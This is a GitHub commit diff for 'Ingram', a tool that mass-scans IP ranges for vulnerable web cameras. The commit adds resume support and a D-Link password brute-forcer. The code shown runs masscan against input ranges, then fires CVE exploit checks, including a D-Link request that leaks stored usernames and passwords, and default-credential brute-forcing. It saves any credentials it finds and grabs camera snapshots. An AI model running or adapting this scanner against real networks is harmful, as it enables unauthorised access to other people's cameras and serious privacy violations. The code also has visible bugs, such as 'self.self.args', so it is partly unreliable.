Skip to content

Commit

Permalink
resume supported
Browse files Browse the repository at this point in the history
  • Loading branch information
jorhelp committed Jun 11, 2022
2 parents 8fb660c + 7d9c522 commit 9f4a53e
Show file tree
Hide file tree
Showing 6 changed files with 126 additions and 51 deletions.
10 changes: 8 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -29,14 +29,20 @@ This tool can use multiple threads to batch detect whether there are vulnerabili
**Only successfully tested on Mac and Linux, but not on Windows!**


## New Features

+ 2022-06-11 **Resume supported!!!**
- If your program breaks due to network or other reasons, you can continue the previous process by simply running the command that ran last time. For example, the last command you executed was `./run_ingram.py --in ip.txt --out output --all --th_num 80`, to resume, simply continue `./run_ingram.py --in ip.txt --out output --all --th_num 80`


## Installation

+ Clone this repository by:
```shell
git clone https://github.com/jorhelp/Ingram.git
```

+ **Make sure the Python version you used is >= 3.7**, and install packages by:
+ **Make sure the Python version you use is >= 3.7**, and install packages by:
```shell
cd Ingram
pip install -r requirements.txt
Expand Down Expand Up @@ -148,7 +154,7 @@ python3 -Bu show/show_rtsp/show_all.py OUT_DIR/results.csv

## Disclaimer

This tool is only for learning and safety testing, do not fucking useing it for illegal purpose, all legal consequences caused by this tool will be borne by the user!!!
This tool is only for learning and safety testing, do not fucking use it for illegal purpose, all legal consequences caused by this tool will be borne by the user!!!


## Acknowledgements & References
Expand Down
8 changes: 4 additions & 4 deletions run_ingram.py
Original file line number Diff line number Diff line change
Expand Up @@ -54,11 +54,11 @@ def run(args):

# scan
if args.masscan:
scn = scanner.MasScaner(args.in_file, args.out_path)
scn(args)
scn = scanner.MasScaner(args)
scn()
else:
scn = scanner.CameraScanner(args.in_file, args.out_path)
scn(args)
scn = scanner.CameraScanner(args)
scn()

# finished
if args.send_msg:
Expand Down
30 changes: 28 additions & 2 deletions scan/modules.py
Original file line number Diff line number Diff line change
@@ -1,17 +1,30 @@
"""Vulnerability Exploition"""
import os
import sys
import hashlib
import requests

CWD = os.path.dirname(__file__)
sys.path.append(os.path.join(CWD, '..'))
from utils.base import multi_thread
from utils.net import get_user_agent
from utils.camera import snapshot_cve_2017_7921, snapshot_rtsp


timeout=2


def device_type(ip: str) -> list:
"""Check whether the ip is a web camera"""
dev_hash = {
'4ff53be6165e430af41d782e00207fda': 'Dahua',
'89b932fcc47cf4ca3faadb0cfdef89cf': 'Hikvision',
}
url_list = [
f"http://{ip}/favicon.ico", # hikvision, Luma
f"http://{ip}/image/lgbg.jpg", # Dahua
]


def cve_2021_36260(ip: str) -> list:
"""(Hikvision) Arbitrary command execution vulnerability"""
if ':' in ip:
Expand Down Expand Up @@ -124,7 +137,7 @@ def cve_2021_33044(ip: str) -> list:


def cve_2020_25078(ip: str) -> list:
"""(DLink) Brute"""
"""(DLink) Disclosure of sensitive information"""
headers = {'User-Agent': get_user_agent()}
r = requests.get(f"http://{ip}/config/getuser?index=0", timeout=timeout, verify=False, headers=headers)
if r.status_code == 200 and "name" in r.text and "pass" in r.text and "priv" in r.text and 'html' not in r.text:
Expand All @@ -134,6 +147,19 @@ def cve_2020_25078(ip: str) -> list:
return [False, ]


# bug!!!
def dlink_weak(ip: str, users: list=['admin'], passwords: list=['']) -> list:
"""(DLink) Brute"""
passwords = set(passwords + [''])
headers = {'User-Agent': get_user_agent()}
for user in users:
for p in passwords:
r = requests.get(f"http://{ip}", verify=False, headers=headers, timeout=timeout, auth=(user, p))
if r.status_code == 200 and 'D-Link' in r.text:
return [True, str(user), str(p), 'DLink', 'weak pass']
return [False, ]


def cctv_weak(ip: str, users: list=['admin'], passwords: list=['']) -> list:
"""(CCTV) Brute"""
passwords = set(passwords + [''])
Expand Down
115 changes: 74 additions & 41 deletions scan/scanner.py
Original file line number Diff line number Diff line change
Expand Up @@ -15,60 +15,85 @@

class Base:
"""Base class"""
def __init__(self, in_file: str, out_path: str) -> None:
self.in_file = in_file
self.out_path = out_path
def __init__(self, args) -> None:
self.args = args
self.scanner_name = 'base' # Need to be respecified in subclass
if not os.path.isdir(out_path):
os.mkdir(out_path)
if not os.path.isdir(args.out_path):
os.mkdir(args.out_path)


class MasScaner(Base):
"""This scanner need root authority"""
def __init__(self, in_file: str, out_path: str) -> None:
super().__init__(in_file, out_path)
def __init__(self, args) -> None:
super().__init__(args)
self.scanner_name = 'masscan'
self.tmp = os.path.join(out_path, 'tmp') # temp out file
self.tmp = os.path.join(self.args.out_path, MASSCAN_TMP) # temp out file

def parse(self, tmp: str='tmp') -> None:
with open(tmp, 'r') as tf:
with open(os.path.join(self.out_path, 'masscan_res'), 'w') as of:
with open(os.path.join(self.args.out_path, MASSCAN_RES), 'w') as of:
for line in tf:
if 'open' in line:
items = line.split()
ip, port = items[-2], items[2]
of.write(f"{ip}:{port}\n")

def __call__(self, args) -> None:
os.system(f"sudo masscan --exclude 255.255.255.255 -iL {self.in_file} -p{args.port} --rate {args.rate} -oL {self.tmp}")
def __call__(self) -> None:
if os.path.exists('paused.conf'):
os.system(f"sudo masscan --exclude 255.255.255.255 --resume paused.conf")
else:
os.system(f"sudo masscan --exclude 255.255.255.255 -iL {self.args.in_file} -p{self.args.port} --rate {self.args.rate} -oL {self.tmp}")
self.parse(self.tmp)


class CameraScanner(Base):

def __init__(self, in_file: str, out_path: str) -> None:
super().__init__(in_file, out_path)
def __init__(self, args) -> None:
super().__init__(args)
self.scanner_name = 'camera scanner'
self.lock = Lock()
self.ip_list = []
self.thread_lock = Lock()
self.file_lock = Lock()
self.start_time = time.time()
self.bar = process_bar()

self._preprocess()

def _preprocess(self):
self.total = 0
self.found = 0
self.done = 0
self.start_time = time.time()
self.bar = process_bar()

self._get_ip()
# total ip
with open(self.args.in_file, 'r') as f:
total_ip = [l.strip() for l in f if not l.startswith('#') and l.strip()]
for ip in total_ip:
self.total += get_ip_seg_len(ip) if '-' in ip or '/' in ip else 1

# processed ip
if not os.path.exists(os.path.join(self.args.out_path, PAUSE)):
self.paused = open(os.path.join(self.args.out_path, PAUSE), 'a')
processed_ip = []
else:
self.paused = open(os.path.join(self.args.out_path, PAUSE), 'r+')
processed_ip = [l.strip() for l in self.paused if not l.startswith('#') and l.strip()]
for ip in processed_ip:
self.done += get_ip_seg_len(ip) if '-' in ip or '/' in ip else 1

# need scan
self.ip_list = list(set(total_ip) - set(processed_ip)) if processed_ip else total_ip

# found
if os.path.exists(os.path.join(self.args.out_path, RESULTS_ALL)):
with open(os.path.join(self.args.out_path, RESULTS_ALL), 'r') as f:
for line in f:
if not line.startswith('#') and line.strip():
self.found += 1

def _get_ip(self):
"""get ip / ip segment, and count the number"""
with open(self.in_file, 'r') as f:
for line in f:
if line.strip() and not line.startswith('#'):
self.total += get_ip_seg_len(line.strip()) if '-' in line or '/' in line else 1
self.ip_list.append(line.strip())
def __del__(self):
self.paused.close()

def _step(self, *args, **kwargs):
with self.lock:
with self.thread_lock:
if kwargs['found']:
self.found += 1
self.bar(self.total, self.done + 1, self.found, timer=True, start_time=self.start_time)
Expand All @@ -86,34 +111,42 @@ def scan(self, ip_term: str):
if ':' not in ip: port = '80'
else: ip, port = ip.split(':')
camera_info = [ip, port] + res[1:]
save_res(camera_info, self.out_path) # save result
save_res(camera_info, os.path.join(self.args.out_path, RESULTS_ALL)) # save result
os.system(f"python3 -Bu utils/camera.py --ip '{camera_info[0]}'"
f" --port '{camera_info[1]}' --user '{camera_info[2]}' --passwd '{camera_info[3]}'"
f" --device '{camera_info[4]}' --vulnerability '{camera_info[5]}'"
f" --sv_path {self.out_path} > /dev/null 2> /dev/null") # save snapshot if possible
except Exception as e: pass
f" --sv_path {self.args.out_path} > /dev/null 2> /dev/null") # save snapshot if possible
except Exception as e:
if DEBUG: print(e)
finally: self._step(found=found)
with self.lock: self.done += 1
with self.thread_lock: self.done += 1
# write paused
with self.file_lock:
self.paused.write(ip_term + '\n')
self.paused.flush()

def _close(self):
os.remove(os.path.join(self.args.out_path, PAUSE))

def __call__(self, args):
def __call__(self):
self.modules = []
hik_weak_partial = partial(hik_weak, users=USERS, passwords=PASSWORDS)
dahua_weak_partial = partial(dahua_weak, users=USERS, passwords=PASSWORDS)
cctv_weak_partial = partial(cctv_weak, users=USERS, passwords=PASSWORDS)
hb_weak_partial = partial(hb_weak, users=USERS, passwords=PASSWORDS)

if args.all:
if self.args.all:
self.modules.extend([cve_2017_7921, cve_2021_36260, cve_2020_25078, cve_2021_33044])
self.modules.extend([hik_weak_partial, dahua_weak_partial, cctv_weak_partial, hb_weak_partial])
else:
if args.hik_weak: self.modules.append(hik_weak_partial)
if args.dahua_weak: self.modules.append(dahua_weak_partial)
if args.cctv_weak: self.modules.append(cctv_weak_partial)
if args.hb_weak: self.modules.append(hb_weak_partial)
if args.cve_2017_7921: self.modules.append(cve_2017_7921)
if args.cve_2021_36260: self.modules.append(cve_2021_36260)
if args.cve_2020_25078: self.modules.append(cve_2020_25078)
if args.cve_2021_33044: self.modules.append(cve_2021_33044)
if self.args.hik_weak: self.modules.append(hik_weak_partial)
if self.args.dahua_weak: self.modules.append(dahua_weak_partial)
if self.args.cctv_weak: self.modules.append(cctv_weak_partial)
if self.self.args.hb_weak: self.modules.append(hb_weak_partial)
if self.args.cve_2017_7921: self.modules.append(cve_2017_7921)
if self.args.cve_2021_36260: self.modules.append(cve_2021_36260)
if self.args.cve_2020_25078: self.modules.append(cve_2020_25078)
if self.args.cve_2021_33044: self.modules.append(cve_2021_33044)

multi_thread(self.scan, self.ip_list, processes=args.th_num)
multi_thread(self.scan, self.ip_list, processes=self.args.th_num)
self._close()
2 changes: 1 addition & 1 deletion utils/base.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@ def save_res(res: list, out_path: str) -> None:
"""save a result record to file
format should be: [ip, port, user, passwd, device, vulnerability]
"""
with open(os.path.join(out_path, 'results.csv'), 'a') as f:
with open(out_path, 'a') as f:
f.write(f"{','.join(res)}\n")


Expand Down
12 changes: 11 additions & 1 deletion utils/config.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,14 @@
"""configuration"""
"""configuration file"""

DEBUG = False

# file name
MASSCAN_TMP = 'masscan_tmp'
MASSCAN_RES = 'masscan_res'
PAUSE = 'paused'
RESULTS_ALL = 'results_all.csv'
RESULTS_SIMPLE = 'results_simple.csv'
NOT_VULNERABLE = 'not_volunerable.csv'

# camera
USERS = ['admin']
Expand Down

0 comments on commit 9f4a53e

Please sign in to comment.